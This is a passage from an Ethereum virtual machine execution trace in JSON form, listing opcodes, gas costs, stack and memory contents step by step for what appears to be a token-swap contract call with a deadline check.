2d7e8","0x8d9","0xa0","0x80","0x0","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x34a5","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13913,"op":"POP","gas":118344,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80","0x0","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x34a5","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13914,"op":"JUMP","gas":118342,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80","0x0","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x34a5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13477,"op":"JUMPDEST","gas":118334,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80","0x0","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13478,"op":"SWAP4","gas":118333,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80","0x0","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13479,"op":"SWAP3","gas":118330,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0xa0","0x80","0x0","0x8d9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13480,"op":"POP","gas":118327,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x8d9","0x80","0x0","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13481,"op":"POP","gas":118325,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x8d9","0x80","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13482,"op":"POP","gas":118323,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x8d9","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13483,"op":"JUMP","gas":118321,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x8d9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2265,"op":"JUMPDEST","gas":118313,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2266,"op":"PUSH1","gas":118312,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2268,"op":"PUSH1","gas":118309,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2270,"op":"PUSH1","gas":118306,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2272,"op":"SHL","gas":118303,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2273,"op":"SUB","gas":118300,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2274,"op":"AND","gas":118297,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2275,"op":"CALLER","gas":118294,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2276,"op":"PUSH1","gas":118292,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2278,"op":"PUSH1","gas":118289,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2280,"op":"PUSH1","gas":118286,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2282,"op":"SHL","gas":118283,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2283,"op":"SUB","gas":118280,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2284,"op":"AND","gas":118277,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2285,"op":"EQ","gas":118274,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2286,"op":"PUSH2","gas":118271,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2289,"op":"JUMPI","gas":118268,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x0","0x936"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2290,"op":"DUP1","gas":118258,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2291,"op":"TIMESTAMP","gas":118255,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x1cb1242d7e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2292,"op":"LT","gas":118253,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x1cb1242d7e8","0x63a7f808"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2293,"op":"PUSH2","gas":118250,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2296,"op":"JUMPI","gas":118247,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x1","0x936"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2358,"op":"JUMPDEST","gas":118237,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2359,"op":"PUSH1","gas":118236,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2361,"op":"PUSH1","gas":118233,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2363,"op":"PUSH1","gas":118230,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2365,"op":"SHL","gas":118227,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2366,"op":"SUB","gas":118224,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2367,"op":"PUSH32","gas":118221,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2400,"op":"AND","gas":118218,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2401,"op":"DUP7","gas":118215,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2402,"op":"DUP7","gas":118212,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2403,"op":"PUSH2","gas":118209,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xc4","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2406,"op":"PUSH1","gas":118206,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xc4","0x2","0x96d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2408,"op":"DUP3","gas":118203,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xc4","0x2","0x96d","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2409,"op":"PUSH2","gas":118200,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xc4","0x2","0x96d","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2412,"op":"JUMP","gas":118197,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xc4","0x2","0x96d","0x1","0x2","0x3b1a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15130,"op":"JUMPDEST","gas":118189,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xc4","0x2","0x9